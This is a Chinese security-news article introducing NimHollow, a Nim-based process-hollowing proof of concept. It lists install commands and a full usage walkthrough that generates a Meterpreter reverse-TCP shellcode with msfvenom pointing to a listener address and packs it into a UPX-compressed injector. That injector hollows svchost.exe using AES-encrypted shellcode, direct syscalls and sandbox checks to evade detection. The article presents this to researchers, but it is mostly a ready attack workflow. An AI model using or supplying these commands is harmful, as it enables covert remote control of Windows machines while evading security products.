NimHollow：基于Nim实现的进程镂空PoC

FB客服

发布于 2022-02-24 13:19:46

5600

发布于 2022-02-24 13:19:46

文章被收录于专栏：FreeBuf

关于NimHollow

NimHollow是一个基于Nim语言实现的进程镂空技术PoC，主要利用syscall系统调用实现其功能。

Nim是一个新型的静态类型、命令式编程语言，支持过程式、函数式、面向对象和泛型编程风格而保持简单和高效。Nim从Lisp继承来的一个特殊特性--抽象语法树(AST)作为语言规范的一部分，可以用作创建领域特定语言的强大宏系统。除此之外，Nim也是一个编译型的具有垃圾收集的系统编程语言，有着极其卓越的生产/性能比

功能介绍

1、使用NimlineWhispers或NimlineWhispers2直接触发Windows本机API函数的系统调用。 2、在CTR模式下使用AES进行Shellcode加密/解密。 3、通过@officious security从OSEP课程中获取简单的沙盒检测方法。

工具安装

广大研究人员可以使用下列命令将该项目源码克隆至本地，并安装好相关的依赖组件：

~$ git clone --recurse-submodules https://github.com/snovvcrash/NimHollow && cd NimHollow

~$ git submodule update --init --recursive

~$ nimble install winim nimcrypto

~$ pip3 install -r requirements.txt

~$ sudo apt install upx -y

工具使用

~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin

~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector --upx --rm [--whispers2]

~$ file injector.exe

injector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

~$ sudo msfconsole -qr msf.rc

工具帮助信息

usage: NimHollow.py [-h] [-i IMAGE] [-o OUTPUT] [--whispers2] [--debug] [--upx] [--rm] shellcode_bin

 

positional arguments:

  shellcode_bin         原始Shellcode文件的路径

 

optional arguments:

  -h, --help            显示帮助信息和退出

  -i IMAGE, --image IMAGE

                      需要执行进程镂空的目标进程 (默认为"C:\Windows\System32\svchost.exe")

  -o OUTPUT, --output OUTPUT

                      输出文件名

  --whispers2          使用NimlineWhispers2 生成syscalls.nim

  --debug             不从Nim二进制文件中获取调试信息

  --upx                使用upx压缩Nim二进制文件

  --rm                 编译代码后删除Nim文件